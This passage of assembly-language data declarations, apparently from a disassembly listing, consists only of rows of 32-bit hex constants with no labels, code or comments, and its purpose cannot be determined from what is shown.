		dd 1CE38EAEh, 51BB808Fh, 0CBD2FAFBh, 31554F00h,	0DBE67E08h
		dd 474B07E8h, 30B6C8A6h, 0D2E26CDh, 0E9105202h,	60F8C348h
		dd 698A73h, 2BF93C66h, 0C079C5F1h, 5F118400h, 0EF309F63h
		dd 1AE30089h, 8E0221C2h, 0A9F20BBBh, 1BCFE101h,	1E94FACCh
		dd 7FFEC4h, 22BE202Eh, 58C6A80Ah, 29FEA04h, 74C0FFE7h
		dd 60B9BB68h, 98EB61D1h, 570F3579h, 0D7330301h,	990029E8h
		dd 8015CFFCh, 37077E9Fh, 8B49591Ch, 0E6C24060h,	85D00007h
		dd 7AAE13D8h, 6200D9F3h, 74E74EDFh, 3E751A72h, 5D80BE32h
		dd 45DDA03Fh, 6900AB77h, 6F38AC80h, 144A9B08h, 0B090946Dh
		dd 7C2E7814h, 5FDCB783h, 0DEAEE3F0h, 735A2F00h,	0A954FACAh
		dd 0F40702B1h, 0C2578295h, 0E03017D4h, 6F37E5h,	3111B165h
		dd 67F56227h, 57918200h, 0EEDB772Dh, 20301B6h, 9F9DC994h
		dd 0C888404Fh, 1CB01F3Dh, 452C6400h, 0BD2565D8h, 8000918Fh
		dd 2A61C7E7h, 0A500AB6Ah, 9B538E17h, 0BF1A8Ch, 0F408FEE2h
		dd 6848EF9Eh, 5F977203h, 80C9FFDEh, 0A2E458h, 5BC8807Ch
		dd 0AC10E101h, 0EF363500h, 1CC52586h, 215300F5h, 5DA8D151h
		dd 0B900F00Bh, 6962E8DEh, 0E6386h, 0A94B40B1h, 8381AFA8h
		dd 171C0972h, 0C6001F11h, 0A693BC79h, 62770710h, 0D189EA81h
		dd 0E4144F2Bh, 5F049608h, 21EDF5DFh, 4854E0C2h,	1DAF157Ch
		dd 54FF482Dh, 120738DBh, 0C013400Fh, 3544BF33h,	51009479h
		dd 7D5AF7FEh, 14ADC1Dh,	5EA58B69h, 2214ACBDh, 642F184Ch
		dd 2E0732h, 0A09ADFDDh,	0F5454D71h, 27B01F00h, 903311BDh
		dd 73A80A01h, 0D8ECF1h,	9597704Eh, 0E012E7FCh, 0C4AAC89h
		dd 39804C51h, 1E1FEB8h,	6A7800DDh, 0BFDC3298h, 0F00768A1h
		dd 1AB162A0h, 8F1C7300h, 8AF7012Fh, 242C8722h, 2E2C24C9h
		dd 7E78601h, 9C5B3575h,	0D90020h, 0BC141C55h, 0FFBD24B8h
		dd 0BFFCCE54h, 61C4E400h, 0A591112Bh, 490BFA4Ah, 0B700A4FCh
		dd 45C5954Fh, 0A638D9C2h, 6C2C0388h, 98FDFBCAh,	64197Fh
		dd 0F35A9156h, 76F5F08Ah, 7C513500h, 343C5F40h,	916800D9h
		dd 98411837h, 0E51786AFh, 23005D14h, 0EE5B80ABh, 5FEA36h
		dd 77F75BFh, 99A32FCCh,	61770800h, 484D5E47h, 0CA4E003Bh
		dd 52D38AA5h, 1200C435h, 37FD561Ch, 7ECE2499h, 78C10098h
		dd 0E291C2D3h, 6100BF34h, 0A5514056h, 1260492h,	410523B9h
		dd 23C94B24h, 1A7F2CC0h, 0D610A100h, 241E6781h,	1F372FA2h
		dd 9CF38E6Eh, 8566DA80h, 39486CBBh, 94F6129Ch, 3B54D200h
		dd 5721Eh, 68A3D55Ah, 802C4C8Dh, 0DA0340F4h, 31E4A91Ch
		dd 15FCA0D9h, 91C30003h, 66156D4h, 297AD3FEh, 34F743Dh
		dd 0E3225EBFh, 20EF80EDh, 8F5F003Eh, 415B8DCBh,	0EE040D23h
		dd 0A0D7D8ACh, 828B2090h, 54670AF1h, 0DC1B15h, 0CEA301E8h
		dd 0A6009427h, 0D9DE16E9h, 629B88h, 17FBB764h, 0D8E28CE6h
		dd 0F006C300h, 0E961E10Dh, 34C6001Ah, 0D1F42B7Ah, 2630589Eh
		dd 3A42100Ah, 647F24h, 69DDFBF0h, 91881857h, 0F22670C0h
		dd 3FE8C99h, 30C646FFh,	0B39820A2h, 0D2509611h,	0CB00BF84h
		dd 861BC2Eh, 9973AFh, 1A9C14E1h, 1C44A198h, 0F94F848h
		dd 9FD95B3Dh, 82B2E170h, 342C02F0h, 0FD9784B9h,	69727448h
		dd 8FF9501Eh, 778E5800h, 144D7055h, 0C6A49A65h,	0C250AD03h
		dd 0DEB01B8Bh, 17076741h, 952F0247h, 0C0F12860h, 0D8D50F96h
		dd 3400FFB3h, 8FB6E3F5h, 771E2C7Eh, 0E544A280h,	0DA8738E6h
		dd 0C1DB66B0h, 0FA19002Fh, 2620178h, 2DB079A9h,	76383A00h
		dd 0DBA8F5C3h, 26BF60D3h, 0EFBE84CAh, 5CFDE72Ch, 6A3CB340h
		dd 0D2110091h, 0C166847Ch, 0E0008813h, 0EF5E8E14h, 0FFC7FDFh
		dd 7C754A08h, 203A0D20h, 0D1009D90h, 9970B6B1h,	981F82C1h
		dd 51F2FA31h, 0B9CCC8D0h, 1A650E8Bh, 3F61F04Eh,	3074123Dh
		dd 0D67E9FDEh, 6A48BD00h, 0A9B31567h, 6EAF0019h, 0E8F45D8Eh
		dd 0C700CFD7h, 717B65EFh, 5B03233h, 1D2E267h, 0B10EC087h
		dd 934C858Dh, 0FF620026h, 65B4ECB8h, 12360324h,	5F664BF3h
		dd 0BDD732A8h, 76A79600h, 47741459h, 5C8E1E23h,	9BE8C781h
		dd 78FED0D7h, 60C0A1DFh, 946A03B4h, 0A6204CB0h,	8516E709h
		dd 40A80000h, 1B008A84h, 6ECB0201h, 0B9C746h, 0E7351456h
		dd 2ECFFDC2h, 66A65900h, 0CA78BD16h, 0A2FE3F5Fh, 832C7080h
		dd 6EF975D8h, 80561D3Bh
		dd 45CCAD67h, 0AF3102Eh, 0CFC5C684h, 2D860008h,	0ACD54F32h
		dd 6183A61h, 28647839h,	0CCB007ECh, 4188F7AEh, 40028E5Ch
		dd 62EFA48Dh, 0E02CE200h, 973F9167h, 0F9463CBCh, 0E156AC0Ch
		dd 93269B30h, 8E009810h, 74A71381h, 68171F84h, 52D81F3h
		dd 80AB2A4Fh, 0D3251079h, 0E46A4AEh, 72C221A8h,	66EC95C0h
		dd 0E3004FD6h, 8C3CC40Ch, 0C9294Ch, 0BA908562h,	0C1A7CEC2h
		dd 7888BC00h, 5ED983D0h, 0E23A0059h, 41C06E80h,	7A076D10h
		dd 7F6B6964h, 78A61FB0h, 0ADC550A3h, 68610146h,	10444159h
		dd 1140F89Dh, 0D1008D98h, 3B3F23Dh, 2A34A22Eh, 2D40AD7h
		dd 0F0F56686h, 0C0E0EE37h, 900E0A3h, 55FA7A8Ah,	368E45Ah
		dd 674A438h, 5B8CC2Ah, 3B509A48h, 230AFACh, 0B0C3F9BCh
		dd 840F0011h, 5B207023h, 0A13E0C88h, 40809CDBh,	4051760Fh
		dd 0CC77FB05h, 0A9BD05AFh, 0D7BF0E3Ah, 0B3E83168h, 8118CCE2h
		dd 0AA9E2C03h, 0F028A852h, 3D5B168Fh, 42B082AFh, 1BCB6530h
		dd 0C45CDA60h, 5A41BDh,	2187612h, 9847254Fh, 5B3FC03h
		dd 0E316756Ch, 6E1800C9h, 9381E58Ah, 109277EFh,	729D7412h
		dd 317AC81h, 7752420h, 0B5F7E3D9h, 0DBBF30AAh, 7700F808h
		dd 214E048Fh, 2B4603Dh,	75FE5451h, 84A4A790h, 2E46C0C8h
		dd 0F3303165h, 0BC1F605Ch, 28EB0008h, 51D3B877h, 0D90058D4h
		dd 4CEE4526h, 0DDCF1h, 8392D755h, 20C1C406h, 0C277AA00h
		dd 2BD81DA0h, 59A80022h, 0D63E1F94h, 1515DFA1h,	0B804ED80h
		dd 483D6877h, 0D7157804h, 6E403BF8h, 27C0106Ch,	46248181h
		dd 509DF4ACh, 9F9021AFh, 22D1BB10h, 1C83BCh, 0D4B19A18h
		dd 7BB7AE33h, 0A6263B19h, 88D29048h, 97951828h,	469284Ch
		dd 10A1DF6Ch, 1CED5056h, 1071D85Fh, 50AE8E2Fh, 4AE5108Bh
		dd 2308F760h, 69D78004h, 74AC44D4h, 64817868h, 1C8C0420h
		dd 0A8BD770Dh, 0C0809ECh, 0E214A368h, 81488CF7h, 68F9466Ch
		dd 74505010h, 84FA0736h, 0F0079C48h, 0CAE3082Fh, 7A28A050h
		dd 0E2DA08C0h, 14ED9746h, 0FC96F279h, 0EB040BB9h, 0DE02040Ah
		dd 0CF8406C0h, 8C0919EFh, 0D508A9FCh, 0D0F62507h, 85A03CD5h
		dd 3F205550h, 75675701h, 6AF5261Bh, 40821980h, 9F6C2FD4h
		dd 0CF6989E9h, 7C402753h, 499426h, 9A70582Dh, 0A7F02A13h
		dd 0EEF1D706h, 461C0FFh, 40FE1BBEh, 6898903Dh, 4101F054h
		dd 7B10D4C3h, 6983D5A4h, 1B627051h, 52984800h, 240D7EE5h
		dd 766D079Ch, 4021D4B9h, 11BFD792h, 0A2EB9F00h,	0A62F19FBh
		dd 0E021F36Ah, 0B114A883h, 80B3E73h, 811D0A78h,	0DBCF3B42h
		dd 60488C56h, 0D7365187h, 0B9009533h, 3286F9D8h, 650856h
		dd 6AFD44B6h, 3EB816AFh, 0DB1539h, 0BECC91DFh, 1804F824h
		dd 0D93590C5h, 4C1F833Dh, 8CE88A05h, 0EFAC6C00h, 8ED4C2DCh
		dd 9B250106h, 5AEE98EDh, 8B8980F2h, 0F1C8BF21h,	0C0BB726Ah
		dd 63A457C1h, 41545AFAh, 750CADB8h, 11385BEDh, 0BB0E0021h
		dd 70E06AD4h, 7700DAD7h, 7C89FC10h, 0DE2955Fh, 0D85BFA61h
		dd 0DEE18F69h, 0C5E0C132h, 0E430E97Bh, 31FC03DAh, 215A663h
		dd 0B6B3CAA0h, 0F9F4D514h, 0C1190110h, 47146AA0h, 0A2205043h
		dd 79B0853Bh, 0A2AC1Fh,	58C1AE76h, 20537AC3h, 0EADF6C19h
		dd 2C255650h, 1061A80Ah, 60AC3DCh, 54572670h, 0F2CF8814h
		dd 0E7256A81h, 0B84B96D0h, 0DFBAF210h, 6B0A10A2h, 6F4B079Ch
		dd 0AE90826Dh, 50749Bh,	54123B61h, 157B29B2h, 67F39C03h
		dd 0AC0E711h, 64A85158h, 7CF200A4h, 7AC404FAh, 0E956FE00h
		dd 3AE41566h, 0AC8201EAh, 79BD7DE8h, 0F3C8808Eh, 0D594736Eh
		dd 0BAA00005h, 0BE559501h, 5090ED78h, 3BEEFB20h, 7E19F2EFh
		dd 4528C8D1h, 91CA8490h, 52C518C4h, 84AA42B8h, 90740B48h
		dd 50650B85h, 1E74D8A4h, 14D0F7CFh, 4EB18CF5h, 928203B8h
		dd 0F0B849CCh, 4120C32h, 0BDD0430Dh, 0E81EB8FCh, 3024AD5Bh
		dd 4448FBE3h, 146188A9h, 4CA62C08h, 33F4807Ch, 626042F9h
		dd 0A720C848h, 0E3D580h, 4051C6BEh, 76B31364h, 2F5CF803h
		dd 309F7A26h, 0DFD97E40h, 8805D048h, 81CFEA95h,	2973480Ch
		dd 0C33F4550h, 806878E1h, 0DD9BF739h, 0F991E015h, 877E5850h
		dd 9088E98Dh, 0EA60A634h, 0A05F9BAFh, 0E5021F0h, 0E6D98C60h
		dd 0C680270Ch, 5FBFC518h, 4DF63B0h, 0E06B70E9h,	69B890B1h
		dd 8E1954C9h, 4A78C77Ch, 0D6BE9450h, 4268115Ah,	29C40139h
		dd 845BEECBh, 40E5B04Ch, 0B1DA95D7h, 335C4088h,	3A4B2DAh
		dd 158FCDF8h, 9800A694h, 9B98F492h, 4FB0A51h, 0FF0F2F5Eh
		dd 6E0C8291h, 0DA059328h, 8C226474h, 989060B2h,	4B78263Eh
		dd 0A081BD20h, 4F2DBE0h, 138182F8h, 81608894h, 0B67A34A0h
		dd 57D78BAh, 0F83174C4h, 4000895Ah, 0B3C5DAC8h,	0BC18E639h
		dd 0CAFD0015h, 0C34BA90Eh, 42DF01CDh, 0D14D72EFh, 57C02AF0h
		dd 0E68F5BFFh, 6A12007Eh, 0D802CFCAh, 6B00C944h, 0EAE64567h
		dd 3E905355h, 1200DBF7h, 0F4EEF2F6h, 50FEE4B8h,	0E2A8B000h
		dd 48B238BEh, 0C8A90671h, 20BF3B4Ah, 0A807AE00h, 0AD0440CAh
		dd 0C64D00DCh, 2866B3D8h, 0EE00D2B4h, 6F5B806Eh, 0F0ECCD54h
		dd 7E7E6C1h, 0F6E50FF0h, 0E048ADE9h, 2500FC99h,	2A28ED16h
		dd 0C6126BF4h, 20E54508h, 89147900h, 85B7E084h,	0A918004Dh
		dd 0EFEAE9ADh, 0EBF2829Bh, 0B9F0441Bh, 0DFC82350h, 0F3A8E300h
		dd 42CA10BEh, 0C0443C4Ah, 0A80600B7h, 31131F2Bh, 0D4009AEBh
		dd 0C055D34Dh, 301ED1C2h, 40D0BD51h, 0A061BF33h, 0D6FFBE19h
		dd 0DBD0D8B2h, 11890130h, 8C10D003h, 0FA8219Eh,	0A5C78919h
		dd 0CD760A21h, 2475EC60h, 51D2B736h, 0D7AB2060h, 8F9E6E00h
		dd 65F110E2h, 6D7FE6h, 0B0961817h, 25382C43h, 9A543D00h
		dd 63BFF21Dh, 2FE801F0h, 68C86F08h, 0B3E9F0D0h,	0C30E83FCh
		dd 60EAED81h, 3BACC074h, 93010009h, 0C1A28AFEh,	2C011CB5h
		dd 0B82DB42Fh, 90E2A3BCh, 60D8E004h, 5B2428BDh,	37179C35h
		dd 0BA782Fh, 4A0BF451h,	0E203C7BCh, 9AEED11Bh, 0AABBC124h
		dd 0B0142888h, 0B967F988h, 0BF22D322h, 3508E17Fh, 22BD0B20h
		dd 0DD10D093h, 1C219531h, 9F12B408h, 988841DFh,	0F43FD58Bh
		dd 1000EC2Bh, 0B7634F48h, 31CC4Dh, 0F71339E0h, 94885B84h
		dd 28001E7Eh, 2BAAD86Bh, 0CBF8E2h, 0BB9613ECh, 77C5A726h
		dd 0D701E8FCh, 191D6E37h, 40CE6D24h, 761986Ah, 0EC134C07h
		dd 7C502049h, 5700424Eh, 0E87FA7B4h, 3BC2033Dh,	0A80DA2Ah
		dd 1D34959Eh, 99385BDCh, 0EC2C8016h, 194A9F0Eh,	94E90F20h
		dd 57604CF7h, 0B83B2F4Eh, 0B0FF4200h, 0D3AD2AEDh, 8FE30EF5h
		dd 63057191h, 51CC011Dh, 0E8E941FEh, 9900CB4Ch,	0C4D88105h
		dd 2E5328F6h, 202392h, 3BFFED5Eh, 0B576591Bh, 1C336D00h
		dd 0BAA5D285h, 5EA0003Eh, 0CADB4B04h, 4A09BB71h, 888C8Eh
		dd 4654DD00h, 0D0EE1D53h, 185180C0h, 13296B79h,	80966D00h
		dd 95987C45h, 624900FFh, 216A5F6Eh, 0FD01FA7Eh,	697F7425h
		dd 50EC7935h, 0C81230EAh, 0DA38EB40h, 5206850Ch, 3C03832h
		dd 0FE08341Eh, 10B846C5h, 0AA07F322h, 37B3325Fh, 25500650h
		dd 5B760141h, 63DC1BA7h, 0CE7D40Dh, 73CB88C0h, 0F86905h
		dd 0D6D760E5h, 65424885h, 0B86AFB00h, 0C8E52AEh, 0AA7E31h
		dd 0B4301086h, 0CEF4148Bh, 150DEE00h, 9158E0E6h, 23DE0021h
		dd 4E30071Dh, 0ED00383Eh, 0E15CD5FDh, 1224D927h, 0BCBF36h
		dd 4A4C7B90h, 5F001B2Ah
		dd 7C12C96Ch, 1D1D42Dh,	71397328h, 0C05992B4h, 14001F1Ah
		dd 0A7BFD6A0h, 0DFD940h, 80FF5EE7h, 943CFCB9h, 0ED300B00h
		dd 650D9634h, 1E3B7619h, 4701ACF7h, 0BFB39266h,	5A0A3783h
		dd 8C6F23E0h, 91E7676h,	0EB47FB67h, 95C0B488h, 45210h
		dd 0C71EE52Ah, 634B0E93h, 0D3B01800h, 0B2A43D99h, 830D00D8h
		dd 0DF84F9B8h, 0D40097B7h, 5B224D0Fh, 0E4867B2Fh, 0BB1D2443h
		dd 6E31D14h, 1165FF92h,	59DD3F04h, 1C900904h, 81B80F4Fh
		dd 0EA49E484h, 0E8728500h, 0AA820981h, 27F40001h, 5090178Ah
		dd 0AEFA236Bh, 0BE2B5Ch, 424658C7h, 5C261F4Ah, 6B00FAF2h
		dd 43C1CDB0h, 2B06AF18h, 5FA6128Bh, 307800E4h, 821458D0h
		dd 0A7013372h, 950DADCAh, 0C6C0C83Eh, 41213CC0h, 9C612Ch
		dd 0E4F9BAA9h, 0F300AFAAh, 1A5E6515h, 0F864F11Dh, 606200CCh
		dd 9BD85A6Ch, 0C5481CB1h, 3875001Bh, 0E067032Fh, 5C933B27h
		dd 0FC51B23Fh, 11648E8h, 85B07D7h, 6E281EC6h, 0AA57E0h
		dd 6DDC04BFh, 0AB8FA8DEh, 0AF902000h, 3D23BBEBh, 0C3DB01F5h
		dd 861CFA7Ah, 71E821Bh,	80385F9Ch, 1D5E1FCh, 4FF70037h
		dd 8C9846EAh, 9E003699h, 8E90673Dh, 34747Bh, 0AA1F0782h
		dd 0C28A2650h, 0EDA7930Ah, 0FB0F83BEh, 0BA7360FFh, 648F6h
		dd 87F10AD6h, 0C12818EBh, 12509700h, 29B38F51h,	21880E14h
		dd 5E009339h, 99E9B864h, 26040CFAh, 45CC3BF4h, 3D7346C1h
		dd 70FB9C81h, 3FB1B7C6h, 3EFC5CB1h, 99CF1603h, 44851271h
		dd 42B37250h, 412C46FEh, 0D930752Ch, 1981DF3h, 1040C74Bh
		dd 8078E4AEh, 0A844A5D4h, 7EC0A41Ch, 3EF7F382h,	0E750C1C4h
		dd 126933DCh, 24BF92h, 962118C6h, 0A400B1B4h, 62732247h
		dd 2BCDDAh, 48E701D7h, 9505E5C9h, 0D9004E7Fh, 9F71D2F0h
		dd 7932A4h, 28FA76CBh, 7A9DD3Ch, 0D66FEE14h, 0DFB000ECh
		dd 0BBE0AC2Ch, 0F621385h, 6CC00D5h, 0AFBEB9E4h,	9A3A1D03h
		dd 8820285Eh, 22DDA0h, 0FCECF67Ch, 33E67419h, 0A1D19507h
		dd 9E67E905h, 84342F0h,	26400EAh, 992092E3h, 7A00114Eh
		dd 8D8691CAh, 98383447h, 24870049h, 82F7BE25h, 0DCA00B1Ah
		dd 451F11B8h, 77409642h, 9AC3D2Bh, 99CD3BFDh, 76800380h
		dd 561AF339h, 55798F0Ah, 0FD3B9CD5h, 5DE06F0Fh,	73332043h
		dd 0E51F847h, 0EEF97AA8h, 0F370FFABh, 110A9000h, 0B11C12DEh
		dd 17BC00FCh, 6B751F2Dh, 0A800695Ch, 47B65845h,	16ADBBA4h
		dd 20DF6FCBh, 610EAC10h, 7EFFB81Dh, 86B1D7C0h, 3DF3113Fh
		dd 64D8E172h, 18B7202Eh, 27AC1168h, 1C3AAF39h, 0C55E9D9Ah
		dd 0D48CC00h, 396C2414h, 0B687DC52h, 2091A345h,	158D69Ch
		dd 0D53EF001h, 7F187444h, 8ABFC8h, 20683D7Eh, 7A6D321Eh
		dd 0E4B1EE00h, 983F34F1h, 4930082h, 636B7CEBh, 767D43DEh
		dd 0C87DFE00h, 26F73C32h, 96B800BDh, 6A93B5DAh,	0CE2CA919h
		dd 0EC00E17Ch, 6EDC8EE1h, 0B67948B2h, 51F31500h, 0AED61AFDh
		dd 0D03B2530h, 117C76h,	0F41FB665h, 972A142Eh, 0CF5DC905h
		dd 2C83F372h, 0EA15F82Dh, 668A0050h, 77A7EE70h,	0B0007255h
		dd 0E91731Ch, 1350F10h,	7DD5CEBh, 0E714DFBDh, 690050B3h
		dd 0E095638h, 7769D67h,	1D8283Ah, 0A8C60DCh, 83008BF6h
		dd 5A62ED04h, 6E91B0A2h, 0FDC0AA25h, 2EA12C28h,	0B8E5432Ch
		dd 0A70A8DC0h, 0D2C600E4h, 107E524Ch, 9D009E96h, 0BBFB5B11h
		dd 250AECC5h, 180FC3BDh, 0F57F7180h, 3A1FAC48h,	2B0379C0h
		dd 0A8F3F9A1h, 129E23B8h, 755EF73h, 1066E110h, 0F6DA9008h
		dd 0E5849700h, 4EC8E838h, 19A748A1h, 77F90B01h,	30AC0954h
		dd 0FEB89061h, 8499120Bh, 26140063h, 2A06EDh, 0E9ADA2E7h
		dd 68E2BA4Ah, 20793430h, 50295A6Dh, 22CB9ACh, 0C501EDBBh
		dd 4840DCB7h, 31004AF8h, 0E2919DDDh, 2C42D05Fh,	58857Dh
		dd 0E05850C7h, 20949ACCh, 1F13FB00h, 0BD63A8h, 0DC31E6D3h
		dd 1ACFE485h, 0D2045F00h, 0ECD7263Ah, 0D8C21EC7h, 8BCA400Eh
		dd 0AFE71E42h, 37E95D00h, 0D77BF96Eh, 1F4A12h, 4F03E41Ch
		dd 0B1002AB8h, 0B2244347h, 39715F80h, 0E7016FDDh, 122C6238h
		dd 0B5C3D070h, 50284800h, 88C2BE54h, 58D5306Ch,	9D6B762Ch
		dd 0E73E8A0Fh, 0EE974008h, 0FCA404h, 0BC952890h, 89D97E9Ch
		dd 3E13402h, 606F74F8h,	98AD78h, 0E52FDCCh, 0A173BB83h
		dd 0E19CDF12h, 6138FC90h, 1099601Fh, 16130F55h,	79BAEF0Bh
		dd 44CC00F7h, 0E84A85h,	0EEBF1D29h, 7D983E66h, 6D00AD77h
		dd 0C83BD26Bh, 27E47Fh,	8D5E93DFh, 656460FCh, 0D290D300h
		dd 9E0B7D05h, 31A61C10h, 0B88B0206h, 41C38EEFh,	36F880DDh
		dd 0F60F9C99h, 0BA96D79h, 19D780F4h, 5CAAFFF3h,	0E60020F0h
		dd 6E2A7F1Bh, 992E6AA1h, 1F00C0B9h, 0CB03E0C6h,	0D4D000Bh
		dd 0F26BA593h, 0C0CFC914h, 0E088786h, 3DADDBC0h, 0A85750F3h
		dd 7B4000CBh, 0F9B06C16h, 0E700A04Fh, 0BE65CE13h, 555B754h
		dd 0C89EBB8Dh, 0AF94008Fh, 0E366E4E1h, 612EFE1Eh, 6AD8B19Ch
		dd 4C101B1h, 520E33D9h,	4195C2E5h, 0B51F6853h, 1DF5A841h
		dd 1EBF780h, 0D7860939h, 400B2920h, 2D03184h, 86F1B94Bh
		dd 511CC8E3h, 113B00EAh, 7C41CD94h, 0FB005A2Eh,	8F29F5A6h
		dd 74A70FA8h, 0B68900F9h, 1ADB7211h, 30E40485h,	5B4180Fh
		dd 0BE79A1B5h, 0F4401CBAh, 87515Fh, 4BD9934Eh, 0EFF05747h
		dd 410ABB00h, 5817DC6Ah, 0A4FD00A7h, 0C5F84574h, 18776554h
		dd 68087D00h, 5E25A27Ch, 3F79EC30h, 2EAED4FFh, 3A690068h
		dd 51F24B24h, 0BCC01200h, 0B8E008C2h, 0FEF8A099h, 722E3963h
		dd 81B3AE1Ch, 0E8C9030Dh, 491DE837h, 12B7CB1Eh,	0A6005B9Ch
		dd 0C7AA2B3Eh, 32E10096h, 7281EB1Bh, 51EF34Ch, 0A8839FD5h
		dd 0F8CA7BB0h, 844F55h,	0B7A9544Dh, 4A95D9D0h, 8766033Eh
		dd 1C8FB087h, 1D479C00h, 835016E6h, 97C00B7h, 55A1DE6Ah
		dd 8F9D2200h, 3034A55Bh, 7FC00E3h, 0AE7E5EBEh, 0D7023AF5h
		dd 78366738h, 498C60C7h, 0B9FC009Dh, 4DAFCD22h,	413FFEBFh
		dd 3CC883h, 0D5F44A40h,	7B3D9F67h, 188E6705h, 0CDFB6084h
		dd 7700926Ch, 3CC6B9B8h, 26625AD1h, 1882135Bh, 0DBB478D7h
		dd 7DD81F50h, 0BF6C1E0Eh, 0AF8D6058h, 0EF71497h, 71E7FAD1h
		dd 0B6DD6B60h, 763DD95Ah, 80026F29h, 4438CAC6h,	0FBBD00CEh
		dd 0B3F6EC5Bh, 0B200B574h, 3B274E8Fh, 19B0CAh, 0E60C2F6Dh
		dd 4171324Fh, 0B4E83964h, 0C05AA445h, 3AC3DD03h, 7119300h
		dd 0C9F0FAB3h, 0C01A74EDh, 0D18568D8h, 9700DF87h, 1DB8B988h
		dd 0FE5B8DD7h, 51843E58h, 0E23E2780h, 0AF6B04ADh, 87676C00h
		dd 240F5F88h, 4CA50CDBh, 21083C2h, 0F4D9C509h, 6A035D1Ah
		dd 808CB6FDh, 497194C4h, 600044B8h, 0FC1658DAh,	0CF87F2h
		dd 2DD88FCDh, 255A657h,	0A221F700h, 0F3FE6BBCh,	0A4ED00B4h
		dd 0E5878554h, 9D007428h, 71789106h, 72E0C444h,	1F0900BDh
		dd 7BFB654Eh, 484FDA49h, 0BFA12800h, 39425286h,	160CBB4Ah
		dd 0F290B772h, 0AB959C01h, 0C225C33Ah, 7DA419F0h, 1EDD00DBh
		dd 569370A8h, 340030FFh, 0B115065Ah, 1304CC5Eh,	0F0255C73h
		dd 0F100BB5Fh, 0E481EEBEh, 3EDF1988h, 29073EC0h, 0B009F41Ch
		dd 203CA133h, 4FB03B00h, 427E9D51h, 71910055h, 787FBE59h
		dd 0B50670D1h, 6864CC0Bh, 5A9F2EA1h, 0DB6080DCh, 0F27996DFh
		dd 20284000h, 9533D469h, 230E3AD9h, 0C7A10F01h,	203E0322h
		dd 7E0098CEh, 60E42DE7h
		dd 9C15B97Dh, 6F8B8034h, 9BE187C8h, 629CE900h, 0EE6513FEh
		dd 0CFCA00B6h, 1F690441h, 1AC1051Bh, 23849F4Ch,	0DC1D503Dh
		dd 8025879Ch, 0EAB4A20Bh, 0D03D0440h, 0A20122FCh, 1A70E33Fh
		dd 0C035C1F5h, 0E6420E0h, 187382ACh, 128BA7C3h,	3A278CE0h
		dd 0C757E90Eh, 94C03CBDh, 8B67E378h, 95A0011h, 2B7B31D0h
		dd 6B00EAF6h, 0FBBB96CEh, 12124817h, 3BDB5AFh, 0C610B450h
		dd 0B07B1EC8h, 65D20601h, 0D0CD7721h, 0F7538ECh, 0C3357A49h
		dd 0C4F8C0BCh, 77206661h, 0DD85591Ch, 71E914C0h, 481A3AE2h
		dd 78013BE0h, 0AF2C25FAh, 1D0CBFCh, 990E5CA2h, 0A03E6490h
		dd 93E56E27h, 711F0065h, 97C32F8Fh, 300B46Bh, 8320C3Fh
		dd 2BF3BDh, 0BC318BF1h,	0EE541562h, 0A81CFC00h,	0DF28CB9Ah
		dd 908507ECh, 0C21B3Ch,	7A2F3FF3h, 0F7004072h, 53DE4D78h
		dd 735D7476h, 3E8F0E03h, 0A92BDD57h, 0AD758101h, 0F88DD4EEh
		dd 0B2F36800h, 20FAB16Eh, 9C2A0059h, 0C36B14CEh, 3B010DABh
		dd 67A7C763h, 9EE4EC77h, 0AF690E5Ch, 0B7E34B54h, 1FAB316Eh
		dd 0EE483DE0h, 0CDAE5F00h, 397163B2h, 0EC253B1Ch, 336B1601h
		dd 0F42D2ACCh, 6A009B17h, 2411CA98h, 1EF28709h,	401FB722h
		dd 0A7F818F3h, 500A443h, 94C92EDFh, 38091D75h, 134CD3BEh
		dd 0B3A6F703h, 62887C71h, 91004FB1h, 0CCF54D51h, 0D1556h
		dd 9C8AEC9Ah, 0ABD5B5FAh, 612F8E05h, 7F8721FDh,	9D2C9A70h
		dd 8703B48h, 55CD9900h,	1A5673CAh, 44B64204h, 0BEB5ECh
		dd 0F794391Eh, 0AFE6C8B7h, 0E8E66204h, 0C2C09304h, 375B49E4h
		dd 0FF9E396Eh, 1E2EF640h, 7A0073B2h, 5AFBE277h,	0EBFA7Dh
		dd 5DF2C4E0h, 0B9113604h, 200237Ah, 0CF502BAEh,	14A2763Dh
		dd 0BC63882Fh, 38C5AA00h, 0EA8B4C11h, 0DF800600h, 6D0C29E4h
		dd 0D2E29Dh, 4C3E3D46h,	0E969F6E8h, 0DA974F1Fh,	0A6B42A81h
		dd 1DE403ABh, 3E1102B3h, 18A2929Ch, 0D23D8040h,	0A8FE3200h
		dd 775134DBh, 0D4B0007Ch, 9E43DFC8h, 9B0063EEh,	0D503FEF8h
		dd 12C7A80Dh, 3994D05h,	7D2645BCh, 0A55569E0h, 8C3C6CEAh
		dd 17C0014Eh, 0B0C1962Bh, 30E80771h, 0D8D9002Eh, 0C7697FA9h
		dd 7E000D6Fh, 134F5A87h, 66E32Ah, 9AA947ABh, 0DC2D35F7h
		dd 1C8B4400h, 5ED3C8E2h, 0F97B026Eh, 4F5C83BCh,	65281048h
		dd 0AD913107h, 0D587C782h, 79923D60h, 5C620067h, 23E7DFD8h
		dd 541E076Dh, 0E1E6B9FEh, 11151702h, 0E9F84016h, 2EE0058h
		dd 9538E632h, 0FE3F8FA6h, 94DE833Ah, 9044F1E7h,	3D228DA5h
		dd 62E4F83h, 61C60028h,	3F2843E2h, 0EC903276h, 0E7483Bh
		dd 14CDFFFAh, 6E51B6h, 0D7E35440h, 3972EF7Dh, 0EE3C9577h
		dd 0C24E140Dh, 0A9830084h, 17D02709h, 10DC588Ch, 0EDE0B500h
		dd 0E199D318h, 0BCF72C00h, 0A0B396D0h, 0DE330071h, 7EE59256h
		dd 8F006861h, 5AB91C28h, 7F2FF7CCh, 0F2BF0141h,	6B17107Fh
		dd 4E802E5Ch, 0E7E84EDh, 3EE8B5EFh, 0F6EBC480h,	18003AE6h
		dd 0E9577445h, 5A978Eh,	7D0C40CEh, 1BC591F9h, 9433A500h
		dd 7B7EF659h, 0E0FE4A71h, 96EA6DECh, 0D6B60A00h, 1AF04A4Ch
		dd 691E035Dh, 9EBB2AC6h, 0BEBD06B0h, 81422500h,	1165B2F6h
		dd 0AC140019h, 92938866h, 557307B4h, 0D3B04C13h, 53D08D00h
		dd 73E158Dh, 0A02D63ABh, 0D989F040h, 0DB7B4FDCh, 0B5EBB318h
		dd 0F86493CCh, 19DEEA4h, 83423DACh, 0C866B184h,	0F00F81C0h
		dd 0E0C94D90h, 8AC23F36h, 265900F8h, 0BDEA3273h, 0E50033B3h
		dd 980115E3h, 1FFAC8B2h, 0C0D3DDBBh, 795EF09Ah,	3C2808A5h
